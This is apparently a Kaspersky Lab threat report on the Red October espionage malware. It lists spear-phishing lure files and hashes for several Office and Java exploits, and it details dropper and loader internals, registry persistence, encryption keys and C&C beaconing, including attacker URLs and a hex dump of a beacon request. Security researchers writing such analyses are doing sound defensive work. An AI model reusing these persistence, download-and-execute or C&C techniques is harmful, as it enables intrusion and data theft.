Exploits

Based on the analysis of known cases, we identified two main ways through which Backdoor.Win32.Sputnik infects the victims. Both methods rely on spear-phishing e-mails which are sent to the prospective victims. The e-mails contain an attachment which is either an Excel or Word document, with enticing names. In addition to Office documents (CVE-2009-3129, CVE-2010-3333, CVE-2012-0158), it appears that the attackers also infiltrated victim network(s) via Java exploitation (MD5:35f1572eb7759cb7a66ca459c093e8a1 – ‘NewsFinder.jar’), known as the ‘Rhino’ exploit (CVE-2011-3544).

The Red October infection diagram

The Excel-based exploit – CVE-2009-3129

This is the oldest known way for Red October to infect computers.

A list of some of the Excel file names can be found below:

File name:

MD5:

Katyn_-_opinia_Rosjan.xls

bd05475a538c996cd6cafe72f3a98fae

WORK PLAN (APRIL-JUNE 2011).xls

f16785fc3650490604ab635303e61de2

EEAS-Staff New contact list (05-25-2011).xls

5f9b7a70ca665a54f8879a6a16f6adde

tactlist_05-05-2011_.8634.xls
EEAS New contact list (05-05-2011).xls

bb2f6240402f765a9d0d650b79cd2560

Agenda Telefoane institutii si ministere 2011.xls

4bfa449f1a351210d3c5b03ac2bd18b1

Agenda Telefoane institutii si ministere 2011 (2).xls

4ce5fd18b1d3f551a098bb26d8347ffb

FIEO contacts update.xls

ec98640c401e296a76ab7f213164ef8c

spisok sotrudnikov.xls

d98378db4016404ac558f9733e906b2b

List of shahids.xls

dc4a977eaa2b62ad7785b46b40c61281

Spravochnik.xls

5ecec03853616e13475ac20a0ef987b6

Agenda Telefoane&Email institutii si ministere 2011.xls

de56229f497bf51274280ef84277ea54

EEAS New contact list (05-05-2011) (2).xls

396d9e339c1fd2e787d885a688d5c646

FIEO contacts update.xls

7e5d9b496306b558ba04e5a4c5638f9f

Telephone.xls

c42627a677e0a6244b84aa977fbea15d

List of shahids.xls

1f86299628bed519718478739b0e4b0c

BMAC Attache List – At 11 Oct_v1[1].XLS

f0357f969fbaf798095b43c9e7a0cfa7

MERCOSUR_Imports.xls

50bd553568422cf547539dd1f49dd80d

Cópia de guia de telefonos (2).xls

cee7bd726bc57e601c85203c5767293c

Programme de fetes 2011.xls

ceac9d75b8920323477e8a4acdae2803

12 05 2011 updated.xls

639760784b3e26c1fe619e5df7d0f674

telefonebi.xls

d71a9d26d4bb3b0ed189c79cd24d179a

telefonebi.xls

dc8f0d4ecda437c3f870cd17d010a3f6

The Excel based exploit is detected by Kaspersky products as Trojan-Dropper.MSWord.Agent.ga. It was apparently used mostly in 2011, with several samples being uploaded to VirusTotal by the victims. For a detection link of various products, check:

The vulnerability exploited by the Red October XLS dropper has been patched by Microsoft in November 2009.

The CVE-2009-3129 exploit and shellcode

Shellcode decryptor in XLS files

The Red October XLS CVE-2009-3129 exploit appears to have been originally developed by Chinese hackers. It was also used in other, unrelated attacks against Tibetan activists and other entities. Its main purpose is to drop and execute a Trojan, which for Red October is in the range of 500-600kB.

The shellcode receives control upon successful exploitation of the vulnerability and proceeds to decrypt itself. Once decrypted, the shellcode in turn decrypts the main malware body (at offset 0x6600 in the XLS files).

The malware is stored in the Excel file at offset 0x6600, in encrypted form:

The shellcode writes the main “top” Trojan dropper to a file named “Dcs.tmp” and runs it. It will also extract a dummy Excel file which will be shown to the user if the exploit was successful. The dummy Excel is named “~ .xls”.

The Word-based exploit – CVE-2010-3333

The CVE-2010-3333 Word-based exploit (RTF files) has been observed in September and October 2012. Example filename / MD5 list related to the attack:

File name:

MD5:

arexeio1.doc

cb51ef3e541e060f0c56ac10adef37c3

Popa Tatiana -plîngere.doc

6B23732895DAAAD4BD6EAE1D0B0FEF08

La Política de Defensa y el Poder Naval en México OTAN (1).doc

44E70BCE66CDAC5DC06D5C0D6780BA45

Iran, Syria and the balance of power in the Middle East.doc

9F470A4B0F9827D0D3AE463F44B227DB

Diplomatic Staff list.doc

91EBC2B587A14EC914DD74F4CFB8DD0F

Diplomatic Car for Sale – MB 2000.doc

85BAEBED3D22FA63CE91FFAFCD7CC991

Rulers have hostaged parliament to further their personal interest (1).doc

The Word based exploit is detected by Kaspersky products as Exploit.MSWord.CVE-2010-3333.bw. It was apparently used mostly in 2012 (eg. October 2012), with one sample being uploaded to VirusTotal, probably by one of the victims. For a detection link of various products, check:

The vulnerability exploited by Red October’s RTF documents was patched by Microsoft in November 2010.

The CVE-2010-3333 exploit and shellcode

The RTF file acts as a dropper for the main Trojan body. It also contains a fake document which is shown to the user in case the exploit is successful.

Encrypted trojan body inside RTF files

The main Trojan body is encrypted “XOR 0xFB” and stored as hex text inside the RTF file. The shellcode decrypts the main body and executes it.

The Word-based exploit – CVE-2012-0158

In November 2012 we’ve noticed new attacks using document files that exploit CVE-2012-0158. This exploit has been extremely popular with APT attacks during 2012 so it’s perhaps no surprise it was also adopted by the Red October gang.

Example filename / MD5 list related to the attack:

File name:

MD5:

Mazda.doc

93d0222c8c7b57d38931cfd712523c67

Komorowski.doc

51edea56c1e83bcbc9f873168e2370af

Commercial Report for October.doc

114ed0e5298149fc69f6e41566e3717a

Russian terrorist attack.doc

350c170870e42dce1715a188ca20d73b

FLOC-meeting.doc

4daa2e7d3ac1a5c6b81a92f4a9ac21f1

3037.doc

82e518fb3a6749903c8dc17287cebbf8

8th_2012 Minutes of meeting.doc

3ded9a0dd566215f04e05340ccf20e0c

The CVE-2012-0158 exploit used in these attacks is mostly undetected by antivirus products at the time of writing of this report. Kaspersky Lab products catch and block the exploit using the state of the art “Automatic Exploit Prevention” technology.

The same exploit / dropper have been observed in many other targeted attacks against for instance Tibetan activists. It appears to be of Chinese origin just as the other exploits.

The exact exploit type used by Red October in these RTF files is CVE-2012-0158.

The vulnerability exploited by these Red October RTF documents was patched by Microsoft in April 2012.

The CVE-2012-0158 exploit and shellcode

The RTF file acts as a dropper for the main Trojan body. It also contains a fake document which is shown to the user in case the exploit is successful.

Encrypted Trojan dropper body in RTF files with CVE-2012-0158

The main Trojan body is encrypted “XOR 0xDE” and stored as hex text inside the RTF file. The shellcode simply writes the main dropper to a file named “msmx21.exe” in the %TEMP% folder and runs it. It also extracts a fake document which is shown to the victim if the exploit has been successful.

Fake document shown to the victim if exploit is successful

The Java based exploit – CVE-2011-3544

Since the publication of our initial report, our colleagues from Seculert have discovered the usage of another delivery vector in the Red October attacks.

In addition to Office documents (CVE-2009-3129, CVE-2010-3333, CVE-2012-0158), it appears that the attackers also infiltrated victim network(s) via Java exploitation (MD5:35f1572eb7759cb7a66ca459c093e8a1 – ‘NewsFinder.jar’), known as the ‘Rhino’ exploit (CVE-2011-3544).

We know the early February 2012 timeframe that they would have used this technique, and this exploit use is consistent with their approach in that it’s not 0-day. Most likely, a link to the site was emailed to potential victims, and the victim systems were running an outdated version of Java.

However, it seems that this vector was not heavily used by the group. When we downloaded the php responsible for serving the ‘.jar’ malcode archive, the line of code delivering the java exploit was commented out. Also, the related links, java, and the executable payload are proving difficult to track down to this point.

Following that quick public disclosure, related MD5s and links do not show up in public or private repositories, unlike the many other Red October components.

We could speculate that the group successfully delivered their malware payload to the appropriate target(s) for a few days, then didn’t need the effort any longer. Which may also tell us that this group, which meticulously adapted and developed their infiltration and collection toolset to their victims’ environment, had a need to shift to Java from their usual spearphishing techniques in early February 2012. And then they went back to their spear phishing.

Also of note, there was a log recording three separate victim systems behind an IP address in the US, each connecting with a governmental economic research institute in the Middle East.

So, this Java Rhino exploit appears to be of limited use. And, the functionality embedded on the server side PHP script that delivers this file is very different from the common and related functionality that we see in the backdoors used throughout the five year campaign.

The crypto routines maintained and delivered within the exploit itself are configured such that the key used to decrypt the URL strings within the exploit is delivered within the Java applet itself. Here is our PHP encryption routine to encrypt the Url for the downloader content:

And this is the function to embed the applet in the HTML, passing the encrypted URL string through parameter ‘p’:

Here is the code within the applet that consumes the encrypted strings and uses it. The resulting functionality downloads the file from the URL and writes it to ‘javaln.exe’. Notice that the strb and stra variables maintain the same strings as the $files and $charset variables in the php script:

This “transfer” decryption routine returns a URL that is concatenated with the other variables, resulting in”hXXp://www.hotinfonews.com/news/dailynews2.php?id=&t=win”. It is this content that is written to disk and executed on the victim’s machine. A description of that downloader follows. It is most interesting that this exploit/php combination’s encryption routine is different from the obfuscation commonly used throughout Red October modules. It further suggests that potentially this limited use package was developed separately from the rest for a specific target.

2nd stage of the Java exploit attack: EXE, downloader

The second stage of the attack is downloaded from “http://www.hotinfonews.com/news/dailynews2.php”and executed by the payload of the Java exploit. It acts as a downloader for the next stage of the attack.

The file is a PE EXE file, compiled with Microsoft Visual Studio 2008 on 2012.02.06. The file is protected by an obfuscation layer, the same as used in many Red October modules.

Obfuscation layer disassembled

The module creates a mutex named “MtxJavaUpdateSln” and exits if it already exists.

After that, it sleeps for 79 seconds and then creates one of the following registry values to be loaded automatically on startup:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
JavaUpdateSln=%full path to own executable%
[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
JavaUpdateSln=%full path to own executable%

Then, after a 49 second delay, it enters an infinite loop waiting for a working Internet connection. Every 67 seconds it sends a HTTP POST request to the following sites:

www.microsoft.com

update.microsoft.com

www.google.com

Once a valid connection is established, it continues to its main loop.

C&C server connection loop

Every 180 seconds the module sends a HTTP POST request to its C&C server.

The request is sent to a hardcoded URL: www.dailyinfonews.net/reportdatas.php

The contents of the post request follow the following format:

id=%unique user ID, retrieved from the overlay of the file%&A=%integer, indicates whether the autorun registry key was written%&B=%0 or 1, indicates if user has administrative rights%&C=%integer, level of privilege assigned to the current user%

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

00000000504f535420687474703a2f2f7777772e|POST http://www.|

000000106461696c79696e666f6e6577732e6e65|dailyinfonews.ne|

00000020743a38302f7265706f72746461746173|t:80/reportdatas|

000000302e70687020485454502f312e300d0a48|.php HTTP/1.0..H|

000000406f73743a207777772e6461696c79696e|ost:www.dailyin|

00000050666f6e6577732e6e65743a38300d0a43|fonews.net:80..C|

000000606f6e74656e742d6c656e6774683a2036|ontent-length:6|

00000070320d0a436f6e74656e742d547970653a|2..Content-Type:|

00000080206170706c69636174696f6e2f782d77|application/x-w|

0000009077772d666f726d2d75726c656e636f64|ww-form-urlencod|

000000a065640d0a0d0a69643d41414139333935|ed....id=AAA9395|

000000b037353239353331323530353134303236|7529531250514026|

000000c031303036434343393333303039424242|1006CCC933009BBB|

000000d0313635343135313326413d3126423d31|16541513&amp;A=1&amp;B=1|

000000e026433d32|&amp;C=2|

HTTP POST request sent to the C&C server

The module decrypts the C&C response with AMPRNG algorithm using a hardcoded key. Then, it checks if there is a valid EXE signature (“MZ”) at offset 37 in the decrypted buffer. If the signature is present, it writes the EXE file to “%TEMP%\nvsvc%p%p.exe” (%p depends on system time) and executes it.

3rd stage of the Java exploit attack: EXE, unknown

Currently, the C&C server is unavailable and we do not have the executables that were served to the “javaln.exe” downloader. Most likely, they were the actual droppers, similar to the ones used with Word and Excel exploits .

Dropper

The dropper module is a PE EXE file, compiled with Microsoft Visual Studio 2008. It is extracted and executed by one of the exploits used to deliver the malware to the victim.

Known variants drop and execute the “loader” component named “svchost.exe” or “svclogon.exe” and one encrypted main component file (see description of the “loader” component).

Main function

Registry key check

The module generates a CLSID from the value of the SHA1 checksum of the system directory path and the serial number of the system drive.

Then, it tries to read the default value of the registry key:

HKLM\Software\Classes\CLSID\generated_CLSID (if it has administrative rights)
HKCU\Software\Classes\CLSID\generated_CLSID (if it has no administrative rights)

It checks the contents of the default key value. This check succeeds if the registry key is not present or its value is equal to the last DWORD of the file’s SHA1 checksum. Otherwise the check fails and it runs the check again each 3 milliseconds for 4294967294 times.

Then, it sets the default value of the registry key to the hexadecimal representation of the value of the last SHA1’s DWORD and tries to read the registry value “InfoTip” from the same registry key. The registry value is assumed to be a 48-byte binary buffer. It extracts a time parameter from that buffer and self-deletes if the difference between the recorded time and current time is less than 3 days.

This means that the updated modules can be delivered not sooner than in three days to the same victim. If someone tries to reinfect the system with the same dropper, it refuses to do so within 3 days from last infection. This can also be a mechanism to escape from attention of power users or administrators who can run recently opened suspicious application again and monitor its activity.

This check is identical to the one implemented in the “loader” module.

Installation routine

The module retrieves its resource of type “AAA” and name “000”. The resource is then decrypted using a custom RC4-like cipher with a hardcoded key.

Offset

Type

Description

0

DWORD

If equal to “1”, the dropper should self-delete and exit after processing the resource

4

DWORD

If equal to “1”, the dropper should exit after processing the resource

8

DWORD

Delay in milliseconds before processing the resource

The resource header is followed by data entries each containing one file.

Offset

Type

Description

0

DWORD

Record type

4

DWORD

Size of the file name in bytes

8

DWORD

Size of the file contents

12

DWORD

Reserved, equal to 0x7D4

16

BYTE[]

File name, Unicode

16 + size of the file name

BYTE[]

File contents

Every record is processed differently depending on the “Record type” value:

Record type

Action

0x07

Write the file to disk

0x08

Write the file to disk and execute immediately with CreateProcess() API

0x090x0A0x0D0x0E

Write to predefined directory:
%System Directory%\wmispoold\%file name% (if has administrative rights)
%APPDATA%\wmispoold\%file name% (if has user only rights)
0x09 – create new file and write to it
0x0A – create new file, write and execute it
0x0D – overwrite file
0x0E – overwrite and execute file
Tries to terminate any running process that belongs to the file being (over)written.

0x0B0x0C

Write to the first available directory from the hardcoded list (see below)
0x0B – write file
0x0C – write and execute file

The module sets file creation/modification time equal to the one of the “%windir%\system32\kernel32.dll” file.

For record types 0x0B and 0x0C, the module tries to write the file to the first available directory from the list:

Loader module

The module is a PE EXE file, compiled with Microsoft Visual Studio 2005.

This module is created by the first-stage dropper of the malware, usually from a file containing an exploit.

It creates a system event object using name patterns:

“WIN_%08X%08X%08X%08X%08X“, where “%08X“ parameters are replaced by the hexadecimal value of the file body checksum (SHA1).

“SYS_%08X%08X%08X%08X%08X“, where “%08X“ parameters are replaced by the hexadecimal value of the file name checksum (SHA1).

Then, the module checks if it was granted administrative rights and sets corresponding flag, which is used in several subroutines.

The module generates a CLSID from the value of the SHA1 checksum of the system directory path and the volume serial number of the system drive.

Then, it tries to read the default value of the following registry key:

HKLM\Software\Classes\CLSID\generated_CLSID (if it has administrative rights)
HKCU\Software\Classes\CLSID\generated_CLSID (if it has no administrative rights)

It checks the contents of the default key value. This check succeeds if the registry key is not present or its value is equal to the last DWORD of the file’s SHA1 checksum. Otherwise the check fails and it runs the check again each 3 milliseconds for 4294967294 times.

Then, it sets the default value of the registry key to the hexadecimal representation of the value of the last SHA1’s DWORD and tries to read the registry value “InfoTip” from the same registry key. The registry value is assumed to be a 48-byte binary buffer. It reads the time value from that buffer and exits if the difference between the recorded time and current time is less than 3 days.

This means that the updated modules can be delivered not sooner than in three days to the same victim. If someone tries to reinfect the system with the same dropper, it refuses to do so within 3 days from last infection. This can also be a mechanism to escape from attention of power users or administrators who can run recently opened suspicious application again and monitor its activity.

Then, it starts a registry installation thread and proceeds to its main loop.

Registry installation thread

Every 100 seconds the module ensures that it has been registered for autorun using one of the registry keys:

Main loop

The module runs a loop with random Sleep() delays, and checks if it can fetch one of the URLs at microsoft.com.

Name of the encrypted main module

Hostnames

fsmgmtio32.msc

update.microsoft.com, www.microsoft.com

Other

update.microsoft.com, www.microsoft.com,
support.microsoft.com

If any of the URLs are available, it starts the loader thread with a filename of the main module as a parameter. Then, it updates the “InfoTip” registry key with current time value and SHA1 of its filename. It also stores own Process ID in that value.

The module reads the proxy server settings of Internet Explorer, Firefox, Opera and tries to fetch URLs via proxies when direct connection is not available.

Loader Thread

The module reads the file that contains the main module, decrypts it using RC4 with a hard-coded key, and then decompresses it using the Zlib library. Then, it checks that the decompressed buffer contains a PE file and starts the PE loader thread.

PE loader Thread

The module implements its own PE loader. The file that is loaded is expected to be a DLL. After loading and relocating the PE, the module calls its DllMain function twice (DLL_PROCESS_ATTACH, DLL_PROCESS_DETACH) and returns.

Main component

The file is a PE DLL file, no export symbols, compiled with Microsoft Visual Studio 2005.

DllMain function

The module sets a timer with a callback function to be executed every 900 seconds and starts a Windows message loop.

Timer callback function

The module checks if the computer is connected to the Internet (using InternetGetConnectedState API) and if it is connected, starts its main thread.

HTTP Traffic generated by the main component.

Main thread

The module prepares a 98-byte buffer that contains several unique machine identifiers using its system drive’s serial number, network adapters’ MAC addresses and Internet Explorer registration ID. The buffer also contains a unique hard-coded hexadecimal string that appears to be a victim or campaign ID and a hard-coded DWORD value.

Then, it sends this buffer to a first available C&C server from a hardcoded list using HTTP POST requests. The module expects to receive an encrypted response packet from the server. It decrypts the packet with a simple XOR algorithm, and executes one of the following commands depending on the data contained in the packet:

Load the Dll from the packet in memory and execute its DllMain

Write the packet to a file in temporary/windows/system directory and execute it using CreateProcess()

Load a Dll by specified local path and call its DllMain, or execute a program given its path

Write the packet to a file in temporary/windows/system directory

Write the contents of the packet to %TEMP%\bestcrypt_update.exe and (optional part) %TEMP%\bestcrypt_update.dll and execute the EXE file

I agree to provide my email address to “AO Kaspersky Lab” to receive information about new posts on the site. I understand that I can withdraw this consent at any time via e-mail by clicking the “unsubscribe” link that I find at the bottom of any e-mail sent to me for the purposes mentioned above.